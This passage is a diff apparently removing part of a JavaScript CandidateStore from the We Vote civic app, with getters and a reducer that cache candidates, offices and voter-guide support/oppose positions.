- getCandidateListByOfficeWeVoteId (officeWeVoteId) {
- // console.log('officeWeVoteId:', officeWeVoteId, ', this.getState().candidateListsByOfficeWeVoteId:', this.getState().candidateListsByOfficeWeVoteId);
- const candidateListsDict = this.getState().candidateListsByOfficeWeVoteId;
- if (candidateListsDict) {
- return candidateListsDict[officeWeVoteId] || [];
- } else {
- return [];
- }
- }
-
- getCandidateListByPoliticianWeVoteId (politicianWeVoteId) { // TODO Replace with getAllCachedPositionsByPoliticianWeVoteId
- // console.log('politicianWeVoteId:', politicianWeVoteId, ', this.getState().candidateListsByOfficeWeVoteId:', this.getState().candidateListsByOfficeWeVoteId);
- const candidateListsDict = this.getState().candidateListsByPoliticianWeVoteId;
- if (candidateListsDict) {
- return candidateListsDict[politicianWeVoteId] || [];
- } else {
- return [];
- }
- }
-
- getCandidateName (candidateWeVoteId) {
- const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
- if (candidate && candidate.candidate_name) {
- return candidate.candidate_name;
- } else if (candidate && candidate.ballot_item_display_name) {
- return candidate.ballot_item_display_name;
- }
- return '';
- }
-
- // getCandidateRunningFromPoliticianWeVoteId (politicianWeVoteId) {
- // return {};
- // }
-
- getCandidateWeVoteIdRunningFromPoliticianWeVoteId (politicianWeVoteId) {
- const candidateWeVoteIdInFutureByPoliticianWeVoteId = this.getState().candidateWeVoteIdInFutureByPoliticianWeVoteId || {};
- if (politicianWeVoteId && candidateWeVoteIdInFutureByPoliticianWeVoteId && candidateWeVoteIdInFutureByPoliticianWeVoteId[politicianWeVoteId]) {
- return candidateWeVoteIdInFutureByPoliticianWeVoteId[politicianWeVoteId];
- }
- return '';
- }
-
- getMostLikelyOfficeDictFromCandidateWeVoteId (candidateWeVoteId) {
- const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
- // console.log('getMostLikelyOfficeDictFromCandidateWeVoteId candidate:', candidate)
- if (candidate && candidate.contest_office_list && candidate.contest_office_list[0]) {
- return mostLikelyOfficeDictFromList(candidate.contest_office_list);
- }
- // Not ideal
- // console.log('getMostLikelyOfficeDictFromCandidateWeVoteId falling back on candidate.contest_office_we_vote_id');
- return {
- contest_office_name: candidate.contest_office_name,
- contest_office_we_vote_id: candidate.contest_office_we_vote_id,
- election_day_text: candidate.election_day_text,
- google_civic_election_id: candidate.google_civic_election_id,
- state_code: candidate.state_code,
- };
- }
-
- getNumberOfCandidatesRetrievedByOffice (officeWeVoteId) {
- return this.getState().numberOfCandidatesRetrievedByOffice[officeWeVoteId] || 0;
- }
-
- getNumberOfPositionsByCandidateWeVoteId (candidateWeVoteId) {
- let numberOfAllSupportPositions = 0;
- let numberOfAllOpposePositions = 0;
- let numberOfAllInfoOnlyPositions = 0;
- if (this.getAllCachedPositionsByCandidateWeVoteId(candidateWeVoteId)) {
- const results = extractNumberOfPositionsFromPositionList(this.getAllCachedPositionsByCandidateWeVoteId(candidateWeVoteId));
- ({ numberOfAllSupportPositions, numberOfAllOpposePositions, numberOfAllInfoOnlyPositions } = results);
- }
- return {
- numberOfAllSupportPositions,
- numberOfAllOpposePositions,
- numberOfAllInfoOnlyPositions,
- };
- }
-
- getPositionAboutCandidateFromOrganization (candidateWeVoteId, orgWeVoteId) {
- const positionsAboutCandidate = this.getAllCachedPositionsDictByCandidateWeVoteId(candidateWeVoteId);
- // console.log('CandidateStore, candidateId: ', candidateId, 'organization_we_vote_id: ', organization_we_vote_id);
- // console.log('CandidateStore, getPositionAboutCandidateFromOrganization: ', positions_about_candidate[organization_we_vote_id]);
- return positionsAboutCandidate[orgWeVoteId] || [];
- }
-
- getVoterCanEditThisCandidate (candidateWeVoteId = '') {
- console.log('candidateWeVoteId:', candidateWeVoteId);
- return false;
- }
-
- isCandidateInStore (candidateId) {
- const candidate = this.getState().allCachedCandidates[candidateId] || {};
- if (candidate.we_vote_id) {
- return true;
- } else {
- return false;
- }
- }
-
- createCandidatePosition (oneCandidateWeVoteId, oneVoterGuide) {
- const candidateObject = this.getCandidateByWeVoteId(oneCandidateWeVoteId);
- // console.log('candidateObject: ', candidateObject);
- // console.log('createCandidatePosition oneVoterGuide: ', oneVoterGuide);
- const onePosition = {
- position_we_vote_id: '', // Currently empty
- ballot_item_display_name: candidateObject.ballot_item_display_name,
- ballot_item_image_url_https_large: candidateObject.candidate_photo_url_large,
- ballot_item_image_url_https_medium: candidateObject.candidate_photo_url_medium,
- ballot_item_image_url_https_tiny: candidateObject.candidate_photo_url_tiny,
- ballot_item_twitter_handle: candidateObject.twitter_handle,
- ballot_item_political_party: candidateObject.party,
- kind_of_ballot_item: 'CANDIDATE',
-
- // ballot_item_id: 0,
- ballot_item_we_vote_id: oneCandidateWeVoteId,
-
- ballot_item_state_code: candidateObject.state_code,
- contest_office_id: candidateObject.contest_office_id,
- contest_office_we_vote_id: candidateObject.contest_office_we_vote_id,
- contest_office_name: candidateObject.contest_office_name,
- is_support: false, // These are filled in later
- is_positive_rating: false,
- is_support_or_positive_rating: false,
- is_oppose: false,
- is_negative_rating: false,
- is_oppose_or_negative_rating: false,
- is_information_only: false,
- is_public_position: true,
- organization_we_vote_id: oneVoterGuide.organization_we_vote_id,
- speaker_we_vote_id: oneVoterGuide.organization_we_vote_id,
- speaker_display_name: oneVoterGuide.voter_guide_display_name,
- speaker_image_url_https_large: oneVoterGuide.voter_guide_image_url_large,
- speaker_image_url_https_medium: oneVoterGuide.voter_guide_image_url_medium,
- speaker_image_url_https_tiny: oneVoterGuide.voter_guide_image_url_tiny,
- speaker_twitter_handle: oneVoterGuide.twitter_handle,
- speaker_type: oneVoterGuide.voter_guide_owner_type,
- voter_guide_we_vote_id: oneVoterGuide.we_vote_id,
- vote_smart_rating: '',
- vote_smart_time_span: '',
- google_civic_election_id: oneVoterGuide.google_civic_election_id,
-
- // state_code: '',
- more_info_url: '',
- statement_text: '',
- last_updated: '',
- };
- // console.log('CandidateStore, voterGuidesToFollowRetrieve, onePosition: ', onePosition);
- return onePosition;
- }
-
- reduce (state, action) {
- const {
- allCachedCandidates, allCachedCandidateWeVoteIdsByCampaignXWeVoteId, allCachedPositionsAboutCandidates,
- candidateWeVoteIdInFutureByPoliticianWeVoteId, numberOfCandidatesRetrievedByOffice,
- positionListRetrieveCompleteByBallotItem,
- } = state;
- let {
- candidateListsByOfficeWeVoteId, candidateListsByPoliticianWeVoteId,
- } = state;
- // Exit if we don't have a successful response (since we expect certain variables in a successful response below)
- if (!action.res || !action.res.success) return state;
-
- let ballotItemWeVoteId;
- let calculatedOfficeWeVoteId;
- let candidate;
- let candidateList;
- let contestOfficeWeVoteId = '';
- let googleCivicElectionId;
- let incomingCandidateCount = 0;
- let localCandidateList = [];
- let newPositionList;
- let officePositionList;
- let oneCandidateModified;
- let onePosition;
- let opponentCandidateList;
- let organizationWeVoteId = '';
- let politicianWeVoteId = '';
- let voterGuides;
- const positionList = action.res.position_list;
- const isEmpty = voterGuides && voterGuides.length === 0;
- const searchTermExists = action.res.search_string !== '';
- const ballotItemWeVoteIdExists = ballotItemWeVoteId && ballotItemWeVoteId.length !== 0;
-
- // January 2019: Switch cases could be DRYer.
-
- switch (action.type) {
- case 'candidateRetrieve':
- // Make sure we have information for the office the candidate is running for
- if (action.res.contest_office_we_vote_id) {
- const office = OfficeStore.getOffice(action.res.contest_office_we_vote_id);
- if (!office || !office.ballot_item_display_name) {
- OfficeActions.officeRetrieve(action.res.contest_office_we_vote_id);
- }
- }
-
- candidate = action.res;
- allCachedCandidates[candidate.we_vote_id] = candidate;
- if (candidate.linked_campaignx_we_vote_id) {
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId[candidate.linked_campaignx_we_vote_id] = candidate.we_vote_id;
- }
- return {
- ...state,
- allCachedCandidates,
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
- };
-
- case 'candidatesQuery':
- case 'candidatesRetrieve':
- // Make sure we have information for the office the candidate is running for
- if (action.res.contest_office_we_vote_id) {
- contestOfficeWeVoteId = action.res.contest_office_we_vote_id;
- const office = OfficeStore.getOffice(action.res.contest_office_we_vote_id);
- if (!office || !office.ballot_item_display_name) {
- OfficeActions.officeRetrieve(action.res.contest_office_we_vote_id);
- }
- }
-
- incomingCandidateCount = 0;
- if (action.type === 'candidatesQuery') {
- candidateList = action.res.candidates;
- } else {
- candidateList = action.res.candidate_list;
- }
- // console.log('CandidateStore candidatesRetrieve contestOfficeWeVoteId:', contestOfficeWeVoteId, ', candidateList:', candidateList);
- if (!candidateListsByOfficeWeVoteId) {
- candidateListsByOfficeWeVoteId = {};
- }
- localCandidateList = [];
- candidateList.forEach((one) => {
- allCachedCandidates[one.we_vote_id] = one;
- if (one.linked_campaignx_we_vote_id) {
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
- }
- incomingCandidateCount += 1;
- localCandidateList.push(one);
- });
- // console.log(`${action.type} allCachedCandidates:`, allCachedCandidates);
- // console.log('localCandidateList:', localCandidateList);
- if (contestOfficeWeVoteId) {
- candidateListsByOfficeWeVoteId[contestOfficeWeVoteId] = localCandidateList;
- }
- // console.log('candidateListsByOfficeWeVoteId:', candidateListsByOfficeWeVoteId);
- // console.log('candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]:', candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]);
- // candidateListsByOfficeWeVoteId[contestOfficeWeVoteId].forEach((two) => {
- // console.log('two:', two);
- // });
- if (contestOfficeWeVoteId) {
- numberOfCandidatesRetrievedByOffice[contestOfficeWeVoteId] = incomingCandidateCount;
- }
-
- return {
- ...state,
- allCachedCandidates,
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
- candidateListsByOfficeWeVoteId,
- numberOfCandidatesRetrievedByOffice,
- };
-
- case 'politicianRetrieve':
- case 'politicianRetrieveAsOwner':
- incomingCandidateCount = 0;
- candidateList = action.res.candidate_list || [];
- opponentCandidateList = action.res.opponent_candidate_list || [];
- politicianWeVoteId = action.res.politician_we_vote_id;
- // console.log('CandidateStore candidatesRetrieve contestOfficeWeVoteId:', contestOfficeWeVoteId, ', candidateList:', candidateList);
- if (!candidateListsByPoliticianWeVoteId) {
- candidateListsByPoliticianWeVoteId = {};
- }
- // //////////////////////////////
- // Process information about the opponents of this politician
- incomingCandidateCount = 0;
- localCandidateList = [];
- // Figure out the contest_office_we_vote_id the opponents ran in opposite this politician
- opponentCandidateList.forEach((one) => {
- if (one && one.contest_office_we_vote_id) {
- calculatedOfficeWeVoteId = one.contest_office_we_vote_id;
- contestOfficeWeVoteId = calculatedOfficeWeVoteId;
- }
- });
- opponentCandidateList.forEach((one) => {
- // Not all candidate records have a contest_office_we_vote_id, so we are forcing them all to match
- oneCandidateModified = { ...one, contest_office_we_vote_id: calculatedOfficeWeVoteId };
- allCachedCandidates[one.we_vote_id] = oneCandidateModified;
- if (one.linked_campaignx_we_vote_id) {
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
- }
- incomingCandidateCount += 1;
- localCandidateList.push(oneCandidateModified);
- });
- if (contestOfficeWeVoteId) {
- candidateListsByOfficeWeVoteId[contestOfficeWeVoteId] = localCandidateList;
- numberOfCandidatesRetrievedByOffice[contestOfficeWeVoteId] = incomingCandidateCount;
- }
- // //////////////////////////////
- // Now Capture the politician's information
- localCandidateList = [];
- candidateList.forEach((one) => {
- allCachedCandidates[one.we_vote_id] = one;
- if (one.election_is_upcoming) {
- candidateWeVoteIdInFutureByPoliticianWeVoteId[politicianWeVoteId] = one.we_vote_id;
- }
- if (one.linked_campaignx_we_vote_id) {
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
- }
- // incomingCandidateCount += 1;
- localCandidateList.push(one);
- });
- // console.log('localCandidateList:', localCandidateList);
- if (politicianWeVoteId) {
- candidateListsByPoliticianWeVoteId[politicianWeVoteId] = localCandidateList;
- }
- // console.log(`${action.type} allCachedCandidates:`, allCachedCandidates);
- // console.log('candidateListsByOfficeWeVoteId:', candidateListsByOfficeWeVoteId);
- // console.log('candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]:', candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]);
-
- return {
- ...state,
- allCachedCandidates,
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
- candidateListsByOfficeWeVoteId,
- candidateListsByPoliticianWeVoteId,
- candidateWeVoteIdInFutureByPoliticianWeVoteId,
- numberOfCandidatesRetrievedByOffice,
- };
-
- case 'representativesQuery':
- // incomingRepresentativeCount = 0;
- // candidateList = action.res.candidates || [];
- // // console.log('CandidateStore candidatesRetrieve contestOfficeWeVoteId:', contestOfficeWeVoteId, ', candidateList:', candidateList);
- // candidateList.forEach((one) => {
- // // allCachedCandidates[one.we_vote_id] = one;
- // incomingRepresentativeCount += 1;
- // });
- // // console.log('localRepresentativeList:', localRepresentativeList);
- // // console.log('candidateListsByOfficeWeVoteId:', candidateListsByOfficeWeVoteId);
- // // console.log('candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]:', candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]);
- // // candidateListsByOfficeWeVoteId[contestOfficeWeVoteId].forEach((two) => {
- // // console.log('two:', two);
- // // });
- //
- // return {
- // ...state,
- // allCachedCandidates,
- // candidateListsByOfficeWeVoteId,
- // numberOfCandidatesRetrievedByOffice,
- // };
- return state;
-
- case 'allBallotItemsRetrieve':
- case 'voterAddressSave':
- case 'voterBallotItemsRetrieve':
- // console.log(action.type, ': in CandidateStore');
- googleCivicElectionId = action.res.google_civic_election_id || 0;
- if (googleCivicElectionId !== 0) {
- action.res.ballot_item_list.forEach((ballotItem) => {
- if (ballotItem.kind_of_ballot_item === 'OFFICE' && ballotItem.candidate_list) {
- contestOfficeWeVoteId = ballotItem.we_vote_id;
- candidateList = ballotItem.candidate_list || [];
- incomingCandidateCount = 0;
- candidateList.forEach((one) => {
- allCachedCandidates[one.we_vote_id] = one;
- if (one.linked_campaignx_we_vote_id) {
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
- }
- incomingCandidateCount += 1;
- });
- // console.log(action.type, ' contestOfficeWeVoteId:', contestOfficeWeVoteId, ', incomingCandidateCount:', incomingCandidateCount);
- if (contestOfficeWeVoteId) {
- numberOfCandidatesRetrievedByOffice[contestOfficeWeVoteId] = incomingCandidateCount;
- }
- }
- });
- // console.log(`${action.type} allCachedCandidates:`, allCachedCandidates);
-
- return {
- ...state,
- allCachedCandidates,
- allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
- numberOfCandidatesRetrievedByOffice,
- };
- }
- return state;
-
- case 'positionListForBallotItem':
- case 'positionListForBallotItemFromFriends':
- // console.log('positionListForBallotItem action.res:', action.res);
-
- positionListRetrieveCompleteByBallotItem[action.res.ballot_item_we_vote_id] = true;
-
- if (action.res.count === 0) {
- return {
- ...state,
- positionListRetrieveCompleteByBallotItem,
- };
- }
-
- if (action.res.kind_of_ballot_item === 'CANDIDATE') {
- newPositionList = action.res.position_list || [];
- newPositionList.forEach((oneIncomingPosition) => {
- ballotItemWeVoteId = oneIncomingPosition.ballot_item_we_vote_id;
- organizationWeVoteId = oneIncomingPosition.speaker_we_vote_id;
-
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = {};
- }
-
- // console.log('CandidateStore oneIncomingPosition: ', oneIncomingPosition);
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = oneIncomingPosition;
- });
-
- return {
- ...state,
- allCachedPositionsAboutCandidates,
- positionListRetrieveCompleteByBallotItem,
- };
- } else if (action.res.kind_of_ballot_item === 'OFFICE') {
- officePositionList = action.res.position_list || [];
-
- officePositionList.forEach((oneIncomingPosition) => {
- ballotItemWeVoteId = oneIncomingPosition.ballot_item_we_vote_id;
- organizationWeVoteId = oneIncomingPosition.speaker_we_vote_id;
-
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = {};
- }
-
- // console.log('CandidateStore oneIncomingPosition: ', oneIncomingPosition);
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = oneIncomingPosition;
- });
-
- return {
- ...state,
- allCachedPositionsAboutCandidates,
- positionListRetrieveCompleteByBallotItem,
- };
- } else {
- return state;
- }
-
- case 'positionListForOpinionMaker':
- // console.log('CandidateStore, positionListForOpinionMaker response');
- organizationWeVoteId = action.res.opinion_maker_we_vote_id;
- positionList.forEach((one) => {
- ballotItemWeVoteId = one.ballot_item_we_vote_id;
- if (stringContains('cand', ballotItemWeVoteId)) {
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = {};
- }
-
- // console.log('CandidateStore one_position_here: ', one_position_here);
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = one;
- }
- });
- return {
- ...state,
- allCachedPositionsAboutCandidates,
- };
-
- case 'voterGuidesToFollowRetrieve':
- // This code harvests the support/oppose positions that are passed in along with voter guides,
- // and stores them so we can request them in cases where the response package for
- // voterGuidesToFollowRetrieve does not include the position data
-
- // console.log('CandidateStore voterGuidesToFollowRetrieve');
- voterGuides = action.res.voter_guides || [];
- ballotItemWeVoteId = action.res.ballot_item_we_vote_id || '';
-
- if (isEmpty || searchTermExists) {
- // Exit this routine
- // console.log('exiting CandidateStore voterGuidesToFollowRetrieve - no voter guides or search results');
- return state;
- }
-
- if (ballotItemWeVoteIdExists && stringContains('cand', ballotItemWeVoteId)) {
- // Case 1: voterGuidesToFollowRetrieve focused on one ballot item
- voterGuides.forEach((oneVoterGuide) => {
- // Make sure we have a position in the voter guide
- if (oneVoterGuide.is_support_or_positive_rating || oneVoterGuide.is_oppose_or_negative_rating || oneVoterGuide.is_information_only) {
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id]) {
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
- }
-
- onePosition = allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id];
- // Only proceed if the position doesn't already exist
- if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
- // Do not proceed
- // console.log('CandidateStore voterGuidesToFollowRetrieve part 1 position already exists');
- } else {
- onePosition = {
- position_we_vote_id: oneVoterGuide.position_we_vote_id, // Currently empty
- ballot_item_display_name: oneVoterGuide.ballot_item_display_name,
- ballot_item_image_url_https_large: oneVoterGuide.ballot_item_image_url_https_large,
- ballot_item_image_url_https_medium: oneVoterGuide.ballot_item_image_url_https_medium,
- ballot_item_image_url_https_tiny: oneVoterGuide.ballot_item_image_url_https_tiny,
- ballot_item_twitter_handle: oneVoterGuide.ballot_item_twitter_handle,
- ballot_item_political_party: oneVoterGuide.ballot_item_political_party,
- kind_of_ballot_item: 'CANDIDATE',
-
- // ballot_item_id: 0,
- ballot_item_we_vote_id: ballotItemWeVoteId,
-
- // ballot_item_state_code: '',
- // contest_office_id: 0,
- // contest_office_we_vote_id: '',
- // contest_office_name: '',
- is_support: oneVoterGuide.is_support,
- is_positive_rating: oneVoterGuide.is_positive_rating,
- is_support_or_positive_rating: oneVoterGuide.is_support_or_positive_rating,
- is_oppose: oneVoterGuide.is_oppose,
- is_negative_rating: oneVoterGuide.is_negative_rating,
- is_oppose_or_negative_rating: oneVoterGuide.is_oppose_or_negative_rating,
- is_information_only: oneVoterGuide.is_information_only,
- is_public_position: oneVoterGuide.is_public_position,
- organization_we_vote_id: oneVoterGuide.organization_we_vote_id,
- speaker_we_vote_id: oneVoterGuide.organization_we_vote_id,
- speaker_display_name: oneVoterGuide.speaker_display_name,
- speaker_image_url_https_large: oneVoterGuide.voter_guide_image_url_large,
- speaker_image_url_https_medium: oneVoterGuide.voter_guide_image_url_medium,
- speaker_image_url_https_tiny: oneVoterGuide.voter_guide_image_url_tiny,
- speaker_twitter_handle: oneVoterGuide.twitter_handle,
- speaker_type: oneVoterGuide.voter_guide_owner_type,
- vote_smart_rating: oneVoterGuide.vote_smart_rating,
- vote_smart_time_span: oneVoterGuide.vote_smart_time_span,
- voter_guide_we_vote_id: oneVoterGuide.we_vote_id,
- google_civic_election_id: oneVoterGuide.google_civic_election_id,
-
- // state_code: '',
- more_info_url: oneVoterGuide.more_info_url,
- statement_text: '',
- last_updated: oneVoterGuide.last_updated,
- };
- // console.log('CandidateStore, voterGuidesToFollowRetrieve, onePosition: ', onePosition);
- }
-
- // console.log('CandidateStore onePosition: ', onePosition);
- allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
- }
- });
- } else {
- // Case 2: voterGuidesToFollowRetrieve is general purpose
- voterGuides.forEach((oneVoterGuide) => {
- // Make sure we have a position in the voter guide
- if (!oneVoterGuide.ballot_item_we_vote_ids_this_org_supports ||
- !oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only ||
- !oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes ||
- !oneVoterGuide.organization_we_vote_id) {
- // If any of these are undefined, ignore this voter_guide
- // console.log('Something wrong with voter guide.');
- } else {
- // Support
- oneVoterGuide.ballot_item_we_vote_ids_this_org_supports.forEach((oneCandidateWeVoteId) => {
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
- }
-
- onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
- // Only proceed if the position doesn't already exist
- if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
- // Do not proceed
- // console.log('voterGuidesToFollowRetrieve Support position already exists');
- } else {
- onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
- // These are support positions
- onePosition.is_support = true;
- onePosition.is_positive_rating = false;
- onePosition.is_support_or_positive_rating = true;
-
- // console.log('CandidateStore support onePosition: ', onePosition);
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
- }
- });
- // Information Only
- oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only.forEach((oneCandidateWeVoteId) => {
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
- }
-
- onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
- // Only proceed if the position doesn't already exist
- if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
- // Do not proceed
- // console.log('voterGuidesToFollowRetrieve Info only position already exists');
- } else {
- onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
- // These are information only positions
- onePosition.is_information_only = true;
-
- // console.log('CandidateStore info onePosition: ', onePosition);
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
- }
- });
- // Opposition
- oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes.forEach((oneCandidateWeVoteId) => {
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
- }
-
- onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
- // Only proceed if the position doesn't already exist
-
- if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
- // Do not proceed
- // console.log('voterGuidesToFollowRetrieve Oppose position already exists');
- } else {
- onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
- // These are oppose positions
- onePosition.is_oppose = true;
- onePosition.is_negative_rating = false;
- onePosition.is_oppose_or_negative_rating = true;
-
- // console.log('CandidateStore oppose onePosition: ', onePosition);
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
- }
- });
- }
- });
- }
-
- // console.log('CandidateStore allCachedPositionsAboutCandidates:', allCachedPositionsAboutCandidates);
- return {
- ...state,
- allCachedPositionsAboutCandidates,
- };
-
- case 'voterGuidesUpcomingRetrieve': // List of all public voter guides from CDN
- case 'voterGuidesFromFriendsUpcomingRetrieve': // List of all friends-only voter guides
- // This code harvests the support/oppose positions that are passed in along with voter guides
-
- // console.log('CandidateStore voterGuidesUpcomingRetrieve');
- voterGuides = action.res.voter_guides || [];
- ballotItemWeVoteId = action.res.ballot_item_we_vote_id || '';
-
- voterGuides.forEach((oneVoterGuide) => {
- // Make sure we have a position in the voter guide
- if (!oneVoterGuide.ballot_item_we_vote_ids_this_org_supports ||
- !oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only ||
- !oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes ||
- !oneVoterGuide.organization_we_vote_id) {
- // If any of these are undefined, ignore this voter_guide
- // console.log('Something wrong with voter guide.');
- } else {
- // Support
- oneVoterGuide.ballot_item_we_vote_ids_this_org_supports.forEach((oneCandidateWeVoteId) => {
- if (stringContains('cand', oneCandidateWeVoteId)) {
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
- }
-
- onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
- // Only proceed if the position doesn't already exist
- if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
- // Do not proceed
- // console.log('voterGuidesUpcomingRetrieve Support position already exists');
- } else {
- onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
- // These are support positions
- onePosition.is_support = true;
- onePosition.is_positive_rating = false;
- onePosition.is_support_or_positive_rating = true;
-
- // console.log('CandidateStore support onePosition: ', onePosition);
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
- }
- }
- });
- // Information Only
- oneVoterGuide.ballot_item_we_vote_ids_this_org_info_only.forEach((oneCandidateWeVoteId) => {
- if (stringContains('cand', oneCandidateWeVoteId)) {
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
- }
-
- onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
- // Only proceed if the position doesn't already exist
- if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
- // Do not proceed
- // console.log('voterGuidesUpcomingRetrieve Info only position already exists');
- } else {
- onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
- // These are information only positions
- onePosition.is_information_only = true;
-
- // console.log('CandidateStore info onePosition: ', onePosition);
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
- }
- }
- });
- // Opposition
- oneVoterGuide.ballot_item_we_vote_ids_this_org_opposes.forEach((oneCandidateWeVoteId) => {
- if (stringContains('cand', oneCandidateWeVoteId)) {
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId] = {};
- }
-
- if (!allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id]) {
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
- }
-
- onePosition = allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id];
- // Only proceed if the position doesn't already exist
